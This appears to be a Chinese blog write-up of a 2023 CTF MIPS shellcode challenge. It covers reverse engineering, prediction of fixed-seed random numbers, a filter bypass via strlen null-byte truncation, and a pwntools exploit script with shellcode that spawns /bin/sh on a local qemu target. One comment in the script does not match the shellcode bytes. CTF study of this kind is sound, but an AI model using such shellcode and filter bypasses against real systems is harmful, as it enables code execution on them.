首页 > 系统相关 >2023春秋杯 sigin_shellcode

2023春秋杯 sigin_shellcode

时间:2023-06-06 20:55:18浏览次数:45  
标签:... 0x18 text sp sigin 2023 x00 shellcode

2023春秋杯春季赛 sigin_shellcode

分析

ida打开,程序的主干如下,就是一个下落的游戏,主要有三个功能:

  1. menu:进行选择,继续下落或者退出
  2. shopping:用金币购买道具,用于增加攻击力
  3. down:下落,其中有一个获取金币的函数,以及到达100层时进行决战的函数。

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // $v0

  init();
  logo();
  while ( 1 )
  {
    menu();
    signal(14, (__sighandler_t)handler);
    alarm(0x14u);
    v3 = my_getinput();                         // 获取输入:1,2,3
    if ( v3 == 2 )
      break;
    if ( v3 == 3 )
    {
      puts("\n[*]Shopping Time!");
      shopping();
    }
    else
    {
      if ( v3 != 1 )                            // 输入是1的时候就继续下落
        exit(0);
      down();
    }
  }
  puts("Disappointed!");
  exit(0);
}

下落:down

主要来看看down里面的函数:

void down()
{
  money = get_coin();
  printf("\nYou have coins: %d\n", money);
  printf("You are at %d floor\n", ++Floor_num);
  if ( Floor_num == 100 )
  {
    puts("[*]You finally reached the 100th floor\n[*]Now you have to face to the big boss!");
    battle();
  }
}

获取金币:get_coin

srand(0x1BF52u);
coin = rand() % 114514 % (Floor_num + 1);

这里进行随机数生成的,随机数是多少,本层能够获取的金币就最多是多少,因为种子值是固定的,所以这些“随机值”是可以计算出来的。
用C程序生成这些伪随机数:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void calculate_coin(int floor_num) {
	srand(0x1BF52u);
	int coin = rand() % 114514 % (floor_num + 1);
	printf("Floor_num = %d, Coin = %d\n", floor_num, coin);
	// 将结果写入文件
	FILE* fp = fopen("coin.txt", "a");
	if(fp == NULL) {
		printf("Error opening file!\n");
		return;
	}
	fprintf(fp, "Floor_num = %d, Coin = %d\n", floor_num, coin);
	fclose(fp);
	
	FILE* fp1 = fopen("everycoin.txt", "a");
	if(fp1 == NULL) {
		printf("Error opening file!\n");
		return;
	}
	fprintf(fp1, "%d,",coin);
	fclose(fp1);
}
int main() {
	for(int i=1; i<=100; i++) {
		calculate_coin(i);
	}
	return 0;
}

后来看到别的大佬是在python调用libc库来生成这些随机数的

from ctypes import *
dll = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
···
dll.srand(0x1BF52)
sendlineafter('How much do you want?\n', str(dll.rand() % 114514 % (Floor_num + 1))) 

所以拿金币,买道具是没问题的了。
然后就是到了100层和boss battle了。

决斗:battle

首先是抛硬币,结果是1就是boss先手,这是必死的,如果是0就是自己先手,boss必死。
有二分之一的概率能赢,是多几次就行。

接着就是输入shellcode了:

···
puts("Shellcode > ");
memset(buf, 0, sizeof(buf));
read(0, buf, 0x10u);
func_ptr = (void (*)(...))buf;
for ( i = 0; ; ++i )
{
v1 = strlen(buf);
if ( i >= v1 )
    break;
if ( !check(buf[i]) )
{
    puts("[*]BOX: Forbidden!");
    exit(0);
}
}
useful_tools();
func_ptr();
···

shellcode长度是16,然后shellcode会写入buf内存里。

shellcode检验:check

然后对shellcode进行check,

int __cdecl check(int string)
{
  unsigned int i; // [sp+18h] [+18h]

  for ( i = 0; i < strlen(white); ++i )
  {
    if ( string == white[i] )
      return 1;
  }
  return 0;
}

white是白名单,是可见字符

.data:00412180 white:          .ascii "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678"
.data:00412180                                          # DATA XREF: check+30↑o
.data:00412180                                          # check+6C↑o
.data:00412180                 .ascii "9!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"<0>

到后面就会执行这段shellcode(func_ptr())。

远程调试

远程端:利用qemu启动程序。

sudo chroot . ./qemu-mipsel-static -L . -g 4444 ./pwn

调试端:然后gdb-multiarch连接调试

gdb-multiarch pwn
target remote 127.0.0.1:4444
continue

远程端:在输入时按下ctrl+c就能打下断点,调试端就可以看到机器指令。

调试端:
ni指令进行逐步调试,然后通过set命令来设置寄存器的值,比如使代表层数Floor_num的寄存器的值为100,尽快进入battle函数里,然后同样用set指令来设置对应寄存器的值,获取先手,打败boss(就是开挂!),最后来到useful_tools函数里:

void useful_tools()
{
  puts("Hacking...\n");
}

反编译的userful_tools很简单,但是它的汇编代码却藏了私货:

.text:00400B80                 addiu   $sp, -0x20
.text:00400B84                 sw      $ra, 0x18+var_s4($sp)
.text:00400B88                 sw      $fp, 0x18+var_s0($sp)
.text:00400B8C                 move    $fp, $sp
.text:00400B90                 li      $gp, 0x41A1E0
.text:00400B98                 sw      $gp, 0x18+var_8($sp)
.text:00400B9C                 lui     $v0, 0x40  # '@'
.text:00400BA0                 addiu   $a0, $v0, (aHacking - 0x400000)  # "Hacking...\n"
.text:00400BA4                 la      $v0, puts
.text:00400BA8                 move    $t9, $v0
.text:00400BAC                 jalr    $t9 ; puts
.text:00400BB0                 nop
.text:00400BB4                 lw      $gp, 0x18+var_8($fp)
.text:00400BB8                 li      $a0, 0x69622F2F     
.text:00400BC0                 li      $a1, 0x68732F6E
.text:00400BC8                 li      $t0, 0
.text:00400BCC                 sw      $a0, 0x18+var_20($sp)
.text:00400BD0                 sw      $a1, 0x18+var_1C($sp)
.text:00400BD4                 sw      $t0, 0x18+var_18($sp)
.text:00400BD8                 addiu   $a0, $sp, 0x18+var_20
.text:00400BDC                 li      $t0, 0x24020FAB
.text:00400BE4                 li      $a1, 0xC
.text:00400BE8                 sw      $t0, 0x18+arg_30($sp)
.text:00400BEC                 sw      $a1, 0x18+arg_34($sp)
.text:00400BF0                 nop
.text:00400BF4                 move    $sp, $fp
.text:00400BF8                 lw      $ra, 0x18+var_s4($sp)
.text:00400BFC                 lw      $fp, 0x18+var_s0($sp)
.text:00400C00                 addiu   $sp, 0x20
.text:00400C04                 jr      $ra
.text:00400C08                 nop

从0x400bb8开始到0x400BD8,就是往a0写入字符串/bin/sh.

2f 2f 62 69 6e 2f 73 68就是//bin/sh

这个在调试的时候也能看到:

*A0   0x7ffff4c0 ◂— '//bin/sh'
 A1   0x68732f6e ('n/sh')
 A2   0x1
 A3   0x0

然后进行调试,在执行func_ptr时,可以看到那里早就写好了syscall <SYS_execve>
img

所以我们输入的shellcode其实就是从0x7ffff510开始覆盖。
一种方法是输入的shellcode修改a1,a2的值使其为0,同时要注意的是输入的要是可见字符

andi $a1,$t3,0x6160;
andi $a2,$t3,0x6160;

或者使用strlen来返回buf的长度的,因此可以用00截断,使得返回的长度小于等于i,进而不需要进行check,也就是说可以输入不可见字符了。

for ( i = 0; ; ++i )
{
v1 = strlen(buf);
if ( i >= v1 )
    break;
if ( !check(buf[i]) )
{
    puts("[*]BOX: Forbidden!");
    exit(0);
}
}

用00截断

li $a1,0
li $a2,0

同样的,这个时候就可以借助00截断,完整的覆盖buf,而不需要考虑buf上有没有syscall

addiu $a1,$zero,0
addiu $a2,$zero,0
addiu $v0,$zero,4011
syscall 0x40404

查看上面指令的机器码

>>> from pwn import *
>>> context.binary = 'pwn'
[*] '/home/zsc/Documents/sigin_shellcode/pwn'
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

>>> sc = '''
... addiu $a1,$zero,0
... addiu $a2,$zero,0
... addiu $v0,$zero,4011
... syscall 0x40404
... '''
>>> print(asm(sc))
b'\x00\x00\x05$\x00\x00\x06$\xab\x0f\x02$\x0c\x01\x01\x01'
>>> print(len(asm(sc)))
16
>>> print(asm(sc))
b'\x00\x00\x05$\x00\x00\x06$\xab\x0f\x02$\x0c\x01\x01\x01'

>>> sc1 = '''
... andi $a1,$t3,0x6160;
... andi $a2,$t3,0x6160;
... '''
>>> print(len(asm(sc1)))
8
>>> print(asm(sc1))
b'`ae1`af1'

>>> sc2 = '''
... li $a1,0
... li $a2,0
... '''
>>> print(asm(sc2))
b'\x00\x00\x05$\x00\x00\x06$'
>>> print(len(asm(sc2)))
8

exp

everycoin.txt是前面C程序生成的伪随机数文件,在Ubuntu22虚拟机上运行。

from pwn import *


with open("everycoin.txt", "r") as f:
    for line in f:
        coinlist = line.strip().split(",")

# context(log_level='debug')
DEBUG = False

if DEBUG:
    p = process(["./qemu-mipsel-static","-g", "4444", "-L","./","./pwn"])
else:
    p = process(["./qemu-mipsel-static", "-L","./","./pwn"])
    context.log_level = 'debug'
    context.arch = "mips"
    context.endian = "little"
    # context.terminal = ["tmux","sp","-h"]

sum = 0
i=0
flag = 0
while i<100:
    if sum < 2551:
        if sum >= 200 and flag == 1:
            p.sendlineafter('Go> ','3')
            p.sendlineafter('> \n','2')
            sum -= 200
            continue
        p.sendlineafter('Go> ','1')
        p.sendlineafter('want?',coinlist[i])
        sum += int(coinlist[i])
        i+=1
        
    else:
        if flag == 0:
            p.sendlineafter('Go> ','3')
            p.sendlineafter('> \n','3')
            sum -= 2551
            flag = 1    #买了最高伤害的

            




p.recvuntil('Shellcode > \n')
shellcode="\x38\x00\xa5\x8f\x38\x00\xa6\x8f"
'''
lui $a1, 0xa500
lui $a2, 0xa600
'''
p.send(shellcode)
p.interactive()

总结

比赛的时候没做出来,没有注意到strlen可以00截断,也没有调试发现syscall(主要是还不熟练gdb调试),所以最后不知道输入怎样的shellcode。

感觉做这道题最大的收获就是学会了用gdb去调试程序,尤其是要熟练使用set指令和jump指令,其次是shellcode的编写,再就是strlen会被00截断的特性了,最后就是种子固定时rand生成的随机数也是伪随机、可计算的。

标签:...,0x18,text,sp,sigin,2023,x00,shellcode
From: https://www.cnblogs.com/liulangbxc/p/17461698.html

相关文章

  • 202306062001-《远程Linux服务器——安装tomcat8、jdk1.8、mysql5——mysql 用sql建表
    因createtable...提示格式错误,什么NAME啊...,必查了一下,要设置,好多条语句(5条左右),是设置格式的。 但设置完了,说重启mysql,就失效,要重新设置(5条sql重新执行一遍!) 永久有效的解决办法是:修改“my.cnf”,我的修改如下:[client]default-character-set=utf8[mysql]default-......
  • 2023冲刺国赛模拟 13.1
    T1铲雪通过打表可以发现\(2^{23}\equiv2^{47}\pmod{998244352}\),因此对于前\(22\)次平方操作,直接暴力修改即可,超出\(22\)的平方操作,对每个位置维护长度为\(24\)的平方数组,那么每次操作就是简单的数组循环移动,线段树维护即可。code#include<cstdio>#include<algor......
  • 欧奈儿行业 RPS 排名,一图览全貌 2023-06-06
    自动复盘2023-06-06k线图是最好的老师,点击详情图可以看到行业20日RPS的排名,最底下子图是行业rps走势线跟踪板块总结:成交额超过100亿排名靠前,macd柱由绿转红公众hao:醉卧梦星河欧奈尔行业RPS排名天天更新追踪主力行业趋势更容......
  • 自考总结:202304考期
    考虑成绩昨天刚出,打算做下2023年4月考期的总结。报考202304考期报了三科:数据结构导论、管理经济学、信息系统开发与管理。这三科之中,除了信息系统开发与管理已经考过2次了,数据结构导论上次学了弃考了(考前复习不及时,没去考),管理经济学是首次报考。备考由于之前信息系统开发与......
  • 透过软考高项上半年真题,看2023下半年考试趋势|上午计算题篇
    2023年上半年软考已经过去了半个多月,想必你对分的兴奋感已经淡去了不少,所以是时候拿出一版有建设性的分析文章出来了(发布早了可能你的兴趣点也不在这上面,哈哈)“建设性”通常是针对未来而言的,对信息系统项目管理师而言,未来并不远,也就5个月之后的事情2023年上半年的考试,特别是高项,是......
  • SCM Manager XSS漏洞复现(CVE-2023-33829)
    一、漏洞描述漏洞简述SCM-Manager是一款开源的版本库管理软件,同时支持subversion、mercurial、git的版本库管理。安装简单,功能较强,提供用户、用户组的权限管理,有丰富的插件支持。由于在MIT的许可下是开源的,因此它允许被用于商业用途,而且其代码可以在GitHub上获取到。该项目......
  • Pycharm 2023.1.2 破解版安装教程(附激活码,亲测有效)
    第一步:下载Pycharm安装包访问Pycharm官网,下载Pycharm2023.1.2版本的安装包,下载链接如下:https://www.jetbrains.com/pycharm/download打开页面后,点击 Download 按钮,等待Pycharm专业版下载完毕。第二步:安装Pycharm2023.1.2版本如果电脑之前有安装老版本Pycharm,需......
  • 2023-06-06 hexo 去除博客中的“嗯..! 目前共计”字样
    注意:我使用的是next主题。找到路径:你的博客\themes\hexo-theme-next\layout,修改archive.swig文件:修改前:<spanclass="archive-page-counter">{%setcheers%}{%setposts_length=site.posts.length%}{%ifposts_length>210%}{%s......
  • 2023年5月31日吴曦远202283820011实验五
    task1_1.pycode:withopen('data1.txt','r',encoding='utf-8')asf:data=f.readlines()n=0print(data)forlineindata:ifnotline.strip()=='':n+=1print(n)output:note:ifdelet"not"......
  • Photoshop 2023 v24.6 Beta 直装爱国版本ps
    win用户看这PsBeta最新直装版本已更新教程免破解。https://www.88appp.com/10714.htmlMac用户看这PsBeta最新直装版本已更新教程免破解。https://www.88appp.com/10742.html注意问题常见问题星球会更新https://t.zsxq.com/0eCxJEDoI......